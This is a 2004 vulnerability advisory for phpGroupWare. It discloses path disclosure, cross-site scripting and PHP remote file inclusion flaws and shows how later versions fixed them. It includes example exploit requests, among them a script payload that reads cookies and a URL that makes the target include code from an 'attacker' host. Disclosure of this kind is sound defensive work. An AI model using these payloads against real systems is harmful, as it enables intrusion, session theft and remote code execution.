Tue 27 Jan 2004 05:57:00 PM UTC, original submission:
-------------------------------------------------------------------------------
Details :
Multiple PATH disclosure have been found on phpgroupware 0.9.14.00X and 0.9.16RC2.
Multiple XSS have been found on phpgroupware 0.9.14.00X and 0.9.16RC2.
A PHP code injection vulnerability has been found on phpgroupware 0.9.14.00X (X <= 5).
Vulnerable Systems:
- phpgroupware 0.9.14.005 and prior
Severity :
High (PHP code injection)
Medium (XSS)
Low (PATH Disclosure)
Credit :
Cedric Cochin (cco@netvigilance.com)
-------------------------------------------------------------------------------
Examples :
-------------------------------------------
I - Path disclosure
Exploit example
-- START - HTTP Request --
http://[target/[phpgroupware_directory]/phpsysinfo/inc/hook_admin.inc.php]
http://[target/[phpgroupware_directory]/comic/inc/hook_home.inc.php]
http://[target/[phpgroupware_directory]/calendar/inc/class.holidaycalc.inc.php]
http://[target/[phpgroupware_directory]/news_admin/website/setup.inc.php.sample]
-- END --- HTTP Request --
-------------------------------------------
II - XSS
Exploit example
-- START - HTTP Request --
http://[target/[phpgroupware_directory]/index.php?menuaction=calendar.uicalendar.planner]
POST DATA: date="><script>alert(document.cookie)</script>
-- END --- HTTP Request --
-------------------------------------------
III - PHP Code Injection
The tables_update.inc.php script presents in the phpgwapi/setup/ directory
performs a PHP include() call.
/* Include older phpGroupWare update support */
include($appdir . 'tables_update_0_9_9.inc.php');
include($appdir . 'tables_update_0_9_10.inc.php');
include($appdir . 'tables_update_0_9_12.inc.php');
By defining the $appdir variable in the URL, an attacker creating a
"tables_update_0_9_9.inc.php" on the http://attacker web server can inject PHP
code.
For example: tables_update_0_9_9.inc.php = <?php print "<?php phpinfo();?>" ;?>
and the following request, will execute the phpinfo() command on the vulnerable target.
-- START - HTTP Request --
http://[target/[phpgroupware_directory]/phpgwapi/setup/tables_update.inc.php?appdir=http://attacker/]
-- END --- HTTP Request --
Version 0.9.14.007 is no more vulnerable due to the missing $appdir variable of
the include calls.
/* Include older phpGroupWare update support */
include('tables_update_0_9_9.inc.php');
include('tables_update_0_9_10.inc.php');
include('tables_update_0_9_12.inc.php');
Version 0.9.16RCX are not using anymore these include calls.
/* Include older phpGroupWare update support */
//include('tables_update_0_9_9.inc.php');
//include('tables_update_0_9_10.inc.php');
//include('tables_update_0_9_12.inc.php');
-------------------------------------------------------------------------------
|